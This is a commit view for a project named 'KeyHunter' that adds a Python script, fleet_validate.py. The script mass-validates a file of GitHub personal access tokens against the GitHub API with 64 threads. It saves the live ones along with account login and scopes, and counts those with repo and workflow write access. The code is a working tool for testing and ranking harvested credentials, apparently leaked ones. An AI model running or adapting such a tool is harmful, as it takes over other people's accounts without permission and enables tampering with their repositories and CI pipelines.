KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)

This commit is contained in:
2026-10-20 07:50:07 +00:00
commit a5008d837b
178 changed files with 36909 additions and 0 deletions

74
fleet_validate.py Executable file
View File

@@ -0,0 +1,74 @@
#!/usr/bin/env python3
import os
KF_BASE = os.path.dirname(os.path.abspath(__file__))
os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True)
"""Validate all tokens in gh_tokens.txt via GitHub API /user.
Alive + scope info -> data/alive_tokens.json
"""
import json
import concurrent.futures as cf
import sys
import time
import requests
TOKENS_FILE = os.path.join(KF_BASE, "gh_tokens.txt")
OUT = os.path.join(KF_BASE, "data/alive_tokens.json")
HEADERS_BASE = {"Accept": "application/vnd.github+json",
"X-GitHub-Api-Version": "2022-11-28"}
def check(tok: str):
try:
r = requests.get("https://api.github.com/user",
headers={**HEADERS_BASE, "Authorization": f"Bearer {tok}"},
timeout=12)
if r.status_code != 200:
return None
u = r.json()
# scopes header present on some responses
scopes = r.headers.get("x-oauth-scopes", "")
return {"pat": tok, "login": u.get("login"), "id": u.get("id"),
"scopes": scopes,
"created": u.get("created_at", "")[:10],
"suspended": bool(u.get("suspended_at"))}
except Exception:
return None
def main():
limit = int(sys.argv[1]) if len(sys.argv) > 1 else 0
toks = [t.strip() for t in open(TOKENS_FILE, encoding="utf-8")
if t.strip().startswith("ghp_")]
if limit:
toks = toks[:limit]
print(f"checking {len(toks)} tokens", flush=True)
alive = []
done = 0
t0 = time.time()
with cf.ThreadPoolExecutor(max_workers=64) as ex:
for res in ex.map(check, toks):
done += 1
if res:
alive.append(res)
if done % 250 == 0:
print(f" [{done}/{len(toks)}] alive={len(alive)} "
f"({time.time()-t0:.0f}s)", flush=True)
with open(OUT, "w", encoding="utf-8") as f:
json.dump(alive, f, indent=1)
# stats
with_repo = [a for a in alive if "repo" in a["scopes"]]
with_repo_all = [a for a in alive if "repo" in a["scopes"] and "workflow" in a["scopes"]]
print(f"\nTOTAL checked: {done}")
print(f"ALIVE: {len(alive)}")
print(f" with repo scope: {len(with_repo)}")
print(f" with repo+workflow scope: {len(with_repo_all)}")
print(f"saved -> {OUT}")
if __name__ == "__main__":
main()